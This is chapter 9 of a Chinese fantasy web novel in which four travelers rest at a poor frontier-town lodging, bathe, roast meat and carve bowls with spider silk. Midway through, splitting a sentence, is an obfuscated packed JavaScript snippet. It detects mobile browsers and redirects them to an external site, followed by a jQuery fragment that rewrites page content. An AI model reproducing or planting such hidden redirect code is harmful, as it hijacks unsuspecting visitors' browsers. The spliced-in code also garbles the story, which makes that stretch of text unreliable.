9. 第9章

作品:《让你去养老,怎么救世了?

    清晨,常乐镇。


    作为一座交通不便,资源相对贫瘠的边陲小镇,常住人口却不算少,只因其与烧不尽荒原相连。


    烧不尽荒原偶有无垠秘境入口开启,总有心怀一夜暴富美梦的“打野人”去碰运气,哪怕没有找到秘境,也能弄些荒原特产售卖,维持生计。


    头脑灵活点的本地居民便为这些外来者提供居所、饮食等便利,从中赚取灵石。


    久而久之,这些互惠互利的多方,形成一条成熟的产业链,盘活了这座冷清的镇子。


    “终于!回来了!”


    欢呼声自镇口响起,来往的路人纷纷侧目,一眼就看到形容狼狈,风格古怪的四人组。


    冲在最前面的那名青年,此刻双手举高过头顶,做出庆祝的姿态,白净清俊的圆脸上洋溢着地主傻儿子般的愚蠢笑容。


    落在后方的三人中,最显眼的便是左侧那名身材高挑的女修,她满身满脸皆是血痕,仿佛是从十八重地狱里挣扎爬出的恶鬼,令人望之生畏。


    其次则是右侧的男修,身着一袭黑袍,看材质并非便宜货,可衣服却被撕得破破烂烂,头上也没个发冠发簪,黑发凌乱披散,好似逃荒来的难民。


    中间那位女修稍正常些,衣冠整洁,就是看起来面黄肌瘦,好像八百年没吃过饱饭。


    再加上她左右两侧一男一女身姿高挑挺拔,显得她更像一棵营养不良的蔫巴小豆苗。


    有名怀里抱着纸袋,身材健硕的妇人路过她身边,上下一打量,深深叹口气,接着就从纸袋里取出一个馒头,塞到她手里,扬长而去。


    走时,妇人还嘀咕:“天杀的世道,孩子都快饿死了……”


    莫名被路人塞了大馒头的纪绮罗:“?”


    “谢谢婶婶!”


    纪绮罗十分有礼貌地向妇人的背影扬声道谢,对方头也不回,只抬手随意挥了挥。


    “三位道友,不妨先去我家洗漱休整一番吧。”


    鱼振河一嗓子嚎完,脚步轻快地跑回纪绮罗三人跟前,“等打理完了,我再带你们去医馆。”


    “好。”


    纪绮罗三人点头应下,跟着鱼振河一路七拐八绕,来到小镇外围,房屋低矮的贫民区,他就在这儿租了间小屋。


    鱼振河将三人迎进屋,入眼就是充当会客功能的小方桌,桌边紧挨着张单人床,除此之外空空荡荡。


    游千金见此场景,惊道:“鱼道友,你家好像被小偷洗劫过!”


    “啊?”


    鱼振河张了张嘴,无力地瘫坐在床上:“不,我家就这样。”


    游千金:“……”


    她羞愧地低头:“是我冒犯了。”


    “这一带小偷小摸不少。”


    鱼振河解释道:“若没钱购买陷阱或防御法阵安置在家中,最好不要把值钱的东西留在屋子里。”


    所以他家看着才空荡荡的。


    “你们别看我这屋小,这里可是别有洞天呢!”


    鱼振河很快打起精神,起身走向屋子另一边,那儿有一扇木门。


    “吱呀——”他将门推开,露出一个隔间。


    纪绮罗三人探头向里张望。


    隔间大约两平米,靠内侧的墙上、地面铺着大块灰色岩石,上面刻着起伏的符文。


    “这是……洗浴法阵?”江晚渡认出了那些符文的用途。


    “没错!”


    鱼振河叉腰,一脸骄傲,“我当初就是看中这里有间浴室,才花了比左右屋舍要贵八块灵石的价格租下这里的。”


    “除尘术再如何方便,也比不了热水冲洗身体的舒适感。”


    游千金对鱼振河的品味表示赞同:“除尘术清洁身体,浴室清洁心灵。”


    “的确,不洗澡总觉得哪里怪怪的。”纪绮罗深有同感。


    四人商量后,让满身血迹的游千金第一个洗。


    等她进浴室后,纪绮罗问鱼振河:“门口砌好的砖石是灶台吗?”


    “对啊。”


    鱼振河见她感兴趣,就带她出门看,江晚渡紧随其后。


    这片地带的屋舍面积有限,大多没有单独的厨房,都选择在门口砌个简陋灶台做饭。


    纪绮罗道:“我们先前用尖叫忧郁树树皮拌的魔兽肉应该腌好了。”


    提起烤肉,鱼振河立刻有了精神:“木柴在我床底下堆着,你随便用。”


    纪绮罗点头:“等洗完澡,咱们四个一起吃烤肉吧,吃饱后再去医馆。”


    “行。”


    另外二人点头应道。


    “我洗好了。”


    不过一会儿,游千金的声音从屋内传出。


    江晚渡与鱼振河没有进去的意思。


    纪绮罗便道:“我先去洗了。”


    说完,她推门而入,正见焕然一新的游千金从浴室中走出。


    游千金换了身款式繁复,红梅落雪的精致衣裙,如瀑青丝被一根金簪挽起,簪子末端以金线勾起一只羽翼镂空的金蝶,随着她的步伐颤动翅膀,俏皮灵动。


    她单手扶门,踏过门槛,听见外面传来脚步声,抬头恰与纪绮罗对视,一双圆圆的杏眼眯起,那张清丽灵秀的脸上顿时盈满了笑意:“纪姑娘,是你呀,我将里面打扫过了,你快去洗吧。”


    纪绮罗见她客气,便道:“你已知晓我姓名,不必每次都叫纪姑娘的。”


    “那……绮罗妹妹?”


    游千金亲昵地叫了一声,“你也可以直接叫我千金。”


    “好,千金。”


    纪绮罗与她说了等会吃烤肉的事,便进浴室洗漱了。


    江晚渡最后去洗,纪绮罗对他道:“我现在准备生火烤肉,等你出来时就可以直接吃了。”


    “嗯。”


    江晚渡点点头,转身进屋。


    鱼振河作为小屋主人,表示自己最熟悉这灶台,包揽了生活的工作。


    游千金有心想帮忙,纪绮罗看她手足无措的模样,就猜到她从前没有下过厨。


    “这次你就在旁边看着吧。”


    纪绮罗说着,轻轻撩起游千金差点垂入火星的宽袖。


    游千金有些不好意思地点头,立在旁边看着纪绮罗架起石板烤肉。


    “哎呀,我这没有碗!”


    鱼振河闻着烤肉香,嘴里吸溜吸溜的,忽然想起一个严重的问题,“我平时都是直接端锅吃的。”


    “这个简单,我用木头削几个。”


    游千金终于找到了自己能帮忙的工作。


    鱼振河从床下翻出还没有劈砍的粗木头,搬到了屋外。


    游千金站在一旁,不见她有什么动作,周围似隐约响起“咻咻”的破空声。


    “哗啦!”


    那根粗木头在下一秒断成了四节,树皮被看不见的力量削下,露出内芯,又被削去几块多余边缘,刮开内里,不过转眼间就有了碗的形状。


    纪绮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937361|192905||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    罗也在观察这边的动静,她甚至没感觉有灵力的波动。


    鱼振河也觉得新奇,他问道:“这是游道友你的天赋吗?”


    “是啊。”


    游千金并未隐瞒,“我有一部分蜘蛛类魔兽的血统,可以操控丝线。”


    为了让二人能看清,游千金抬起手,放慢动作。


    纪绮罗这才发现,原来在游千金的手指间,有几根透明的丝线绷直拉长。


    游千金只是指尖轻颤,那丝线就会随她的动作翻飞,很快做出四个木碗,还用边角料削出了配套的筷子。


    恰在此时,屋内响起脚步声。


    “纪道友,我这儿……遇见了一些麻烦。”


    江晚渡的声音由远及近,带着几分为难。


    “吱呀”一声,屋门从内打开。


    鱼振河离门最近,扭头朝屋内看去,吓得一激灵:“娘嘞!有水鬼!”


    在鱼振河的惊叫声中,一个黑色的人影晃动,出现在纪绮罗眼前。


    只见来人一身破烂黑袍,应当是洗过一遍,还有用力拧干的痕迹,看起来皱皱巴巴像一大团水草裹在他的身上。


    湿淋淋的长发垂下,遮住其面容,看起来阴森森的,也难怪鱼振河会以为自己看见了水鬼。


    “哎呀,这倒是我们疏忽了。”


    纪绮罗将烤肉拨到石板边缘,站起身走向那名“水鬼”。


    “江道友你如今身无灵力,不能像我们洗完后,可以直接用灵力蒸发掉身上的水渍。”


    纪绮罗伸出手,灵力从她指尖绽开,笼罩江晚渡全身。


    光华褪去,江晚渡那湿淋淋的头发与衣服变得蓬松飘逸,即便墨发凌乱掩面,在场众人竟也能看出几分风度翩翩。


    纪绮罗盯着他看了一会,江晚渡被她看得不自在,刚要开口问,就见纪绮罗弯腰捡起地上一块边角料木头,用灵力削成一根木簪。


    “你还记得怎么挽发吗?”纪绮罗拿着木簪,没有立刻递给江晚渡。


    江晚渡闻言,视线不自觉落在她握住木簪的手上。


    因常年营养不良,纪绮罗的手显得有些瘦骨嶙峋,以至于比那根木簪更像一截细枝,纤细修长。


    “不记得了。”江晚渡摇摇头。


    “我帮你挽发吧。”


    纪绮罗示意江晚渡背过身去,正要踮脚给他梳理头发,视线却一花,身前的男人忽然就矮了一截,她伸手便能触及。


    还挺细心的。


    纪绮罗轻笑一声,手指抚过江晚渡发顶,将落在前面的发丝拢起,皆以木簪挽好。


    她作为医生,并无太多空闲打理自己,有时急匆匆出门忘了带发圈,随手抽出一支圆珠笔就拿来挽发,对此并不生疏。


    “好了。”


    纪绮罗放下手,拍拍江晚渡的肩膀,示意他可以站起来了。


    江晚渡曲起的腿站直,转过了身。


    一双深浓如渊的墨瞳微垂,专注地凝望着眼前人。


    没了发丝的遮挡,眉心一道曲折如落雷又似花钿描妆的红痕清晰可见,柔和了他颇显凌厉的五官轮廓,掩住了那与生俱来的侵略性,增添几分不谙世事的君子风雅。


    “纪道友,多谢。”江晚渡轻声说。


    纪绮罗才发现,江晚渡不说话时,表情天生淡淡的。


    可当江晚渡开口唤她的名字时,漠然的情绪仿佛冰雪消融,对她轻轻地笑了。


    一刹那,春满人间。